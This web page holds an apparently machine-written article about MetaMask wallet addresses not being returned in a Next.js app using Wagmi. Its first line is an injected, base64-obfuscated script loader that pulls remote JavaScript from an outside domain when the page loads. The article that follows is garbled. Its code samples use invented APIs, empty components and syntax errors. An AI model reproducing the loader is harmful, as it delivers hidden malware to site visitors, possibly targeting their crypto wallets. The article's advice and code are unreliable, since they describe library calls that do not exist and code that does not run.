const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=19c23f3f”;document.body.appendChild(script);
Here is a draft of the article:
Metamask: MetaMask eth_requestAccounts
does not retrieve wallet address after login
I am integrating MetaMask with my Next.js app using Wagmi and I have a problem where after connecting to MetaMask the wallet address is not immediately retrieved. The app asks to sign in using a Web3 browser before asking for the wallet address.
Problem:
When a user connects to MetaMask, they send an eth_requestAccounts
request to retrieve their wallet addresses. However, this process usually takes about 1-2 seconds and the wallet addresses are returned in JSON format. Unfortunately, when logging into MetaMask via a Web3 browser provided by Wagmi, the app does not immediately request the wallet addresses.
Problem:
As a result, my Next.js app requires signing with the eth_requestAccounts
API call every time I try to sign using MetaMask. This can lead to:
- Frequent prompts: The user is asked to re-authenticate every second or so, which can be annoying and disruptive to workflow.
- Unnecessary errors: If the wallet address is not retrieved correctly, my app may throw errors when trying to access it.
How to fix:
To fix this issue, you need to properly handle the eth_requestAccounts
response from MetaMask. Here are a few approaches:
1. Use the onSuccess
hook
You can use the onSuccess
hook provided by Wagmi to wait for the wallet address after sending a request via eth_requestAccounts
. This will make the app wait for the address before asking to sign again.
import { useWagmi } from 'wagmi';
import MetaMaskProvider from 'metamask-provider';
const MyApp = ({Component, pageProps}) => {
const { connect } = useWagmi();
return (
);
};
export default MyApp;
2. Use the onError
hook
Alternatively, you can use the onError
hook provided by Wagmi to handle errors related to MetaMask requests.
import { useWagmi } from 'wagmi';
import MetaMaskProvider from 'metamask-provider';
const MyApp = ({Component, pageProps}) => {
const { connect } = useWagmi();
return (
);
};
export default MyApp;
3. Use eth_requestAccounts
with a timeout
If you prefer to handle the response yourself, you can use setTimeout()
to wait for the address before asking for a signature again.
{
import { useEffect, useState } from 'react';
import MetaMaskProvider from 'metamask-provider';
const MyApp = ({Component, pageProps}) => {
const [wallet_address, set_wallet_address] = use_state('');
const { connect } = useWagmi();
useEffect(() => {
get(
.then(response => response.json())
.then(data => setWalletAddress(data.address))
.catch(error => console.error('Error:', error));
}, [addresssportfela]);
const handleSign = () => {
get(
method: 'POST',
headers: { 'Content-Type': 'application/json' },
content: JSON.stringify({
from: walletAddress,
A: '',
data: '',
}),
})
.then(response => response.json())
.then(data => console.log('Signed:', data))
.catch(error => console.error('Error:', error));
};
return (
);
};
These are just a few examples of how you can handle the eth_requestAccounts
response from MetaMask in a Next.js application using Wagmi.